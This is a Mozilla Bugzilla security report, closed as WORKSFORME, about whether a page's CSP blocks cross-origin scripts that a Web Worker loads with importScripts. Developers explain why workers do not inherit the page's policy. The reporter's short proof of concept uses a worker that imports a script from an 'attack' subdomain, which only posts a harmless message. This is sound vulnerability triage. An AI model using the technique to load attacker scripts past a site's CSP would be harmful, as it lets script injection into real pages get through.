Closed Bug 1399284 Opened 7 years ago Closed 7 years ago

CSP bypass with importScripts

Categories

(Core :: DOM: Security, defect)

defect
Not set
normal

Tracking

()

RESOLVED WORKSFORME

People

(Reporter: s.h.h.n.j.k, Unassigned)

Details

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36

Steps to reproduce:

1. Go to https://test.shhnjk.com/csp_external.html


Actual results:

Received message from cross-origin js file.


Expected results:

CSP "script-src 'self'" is defined on the page. Thus importScripts to cross-origin js file should be blocked.
Christoph, this one seems up your alley as well. Let me know if there's other people I should be pinging when I see this type of bug come in. :-)
Group: firefox-core-security → core-security
Component: Untriaged → DOM: Security
Flags: needinfo?(ckerschb)
Product: Firefox → Core
Version: 1.0 Branch → Trunk
(In reply to Jun from comment #0)
> CSP "script-src 'self'" is defined on the page. Thus importScripts to
> cross-origin js file should be blocked.

This is a sad, sad story in 3 acts.

1. Originally as we proposed it script-src covered workers, and that's how we implemented it. 


2. The standards committee--of which we're part, to be sure--decided, however, that since in some ways Shared Workers and especially Service Workers have a lifetime independent of the original document they were more like iframes, and thus the "child-src" directive was born. This is how the official "CSP2" standard defines things. We implemented this and ended up breaking a lot of our own internal stuff that assumed workers were covered by script-src (mostly in Firefox OS, where we used CSP to help sandbox apps).

3. In CSP 3 (not anywhere close to official) we decided the CSP2 change was lame and that workers really were scripts after all. 'worker-src' was added to the spec and the fall-back was defined as script-src rather than child-src (which now became deprecated).

Firefox has not implemented the CSP3 change yet: workers are still controlled by child-src (with default-src fallback). Although this change is certainly more logical (the reason we proposed it 7 years ago) actually adopting it can break sites, or leave them vulnerable if they think workers are covered but they aren't. The change will probably go through anyway since Chrome has adopted it and Google is one of the few of sites that actually use CSP, and we won't want Firefox users to be unsafe on Google's high-traffic sites.
Status: UNCONFIRMED → RESOLVED
Closed: 7 years ago
Resolution: --- → DUPLICATE
Actually, the policy is _only_ script-src here. No child-src so workers should fallback to default-src. But there's no default-src. Shouldn't the behavior assume default-src 'none' in that case, since at least one -src directive was specified?

Need to check the spec on that.
Status: RESOLVED → REOPENED
Ever confirmed: true
Resolution: DUPLICATE → ---
Looks like we're doing the right thing:

      "Let the default sources be the result of parsing
      the default-src directive’s value as a source list
      if a default-src directive is explicitly specified,
      and otherwise the U+002A ASTERISK character (*)."
Status: REOPENED → RESOLVED
Closed: 7 years ago7 years ago
Resolution: --- → DUPLICATE
Group: core-security → core-security-release
I've changed "script-src 'self'" to "default-src 'self'" and it still works.

https://test.shhnjk.com/csp_external.html
Flags: needinfo?(dveditz)
both import.js and worker.js are same-origin, and match 'self'. Maybe you want to move the import.js stuff inline, then use a CSP of: default-src 'none'; script-src 'unsafe-inline';
Flags: needinfo?(dveditz)
https://test.shhnjk.com/import.js
var myWorker = new Worker("worker.js");
myWorker.onmessage = function(e) {
    document.body.innerHTML=e.data;
}

https://test.shhnjk.com/worker.js
importScripts("https://attack.shhnjk.com/worker.js");

https://attack.shhnjk.com/worker.js
postMessage("Message from attacker!");


postMessage comes from https://attack.shhnjk.com/worker.js which is cross-origin.
oops, stopped too soon. --TWO-- workers are involved and it's the second one we're looking at.
Status: RESOLVED → REOPENED
Resolution: DUPLICATE → ---
(In reply to Jun from comment #5)
> I've changed "script-src 'self'" to "default-src 'self'" and it still works.
> 
> https://test.shhnjk.com/csp_external.html

When loading the example from https://test.shhnjk.com/csp_external.html I observe the following:

1) The test page loads
> <meta http-equiv="Content-Security-Policy" content="default-src 'self';">
> <script src="import.js"></script>
which means that self translates into https://test.shhnjk.com

2) CSP checks if import.js is loaded from https://test.shhnjk.com, it is:
> https://test.shhnjk.com/import.js
CSP CHECK: OK

3) import.js loads
> var myWorker = new Worker("worker.js");
> myWorker.onmessage = function(e) {
>    document.body.innerHTML=e.data;
> }
which loads the worker from https://test.shhnjk.com/worker.js
CSP CHECK: OK

4) the worker then loads:
importScripts("https://attack.shhnjk.com/worker.js");


Within (4) we miss the CSP check, I guess because we are not propagating the CSP to the worker?!?
Flags: needinfo?(ckerschb)
Your worker doesn't have a CSP. Only workers from a "unique origin" (data:, mostly) inherit a CSP; for all others they need their own sent as an http header:

https://www.w3.org/TR/CSP2/#processing-model-workers

[this is related to the sad story I told in comment 2. Originally workers inherited always, but with shared workers that became a problem.]
Okay, sorry for that. I need to study spec more :(
Status: REOPENED → RESOLVED
Closed: 7 years ago7 years ago
Resolution: --- → WORKSFORME
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.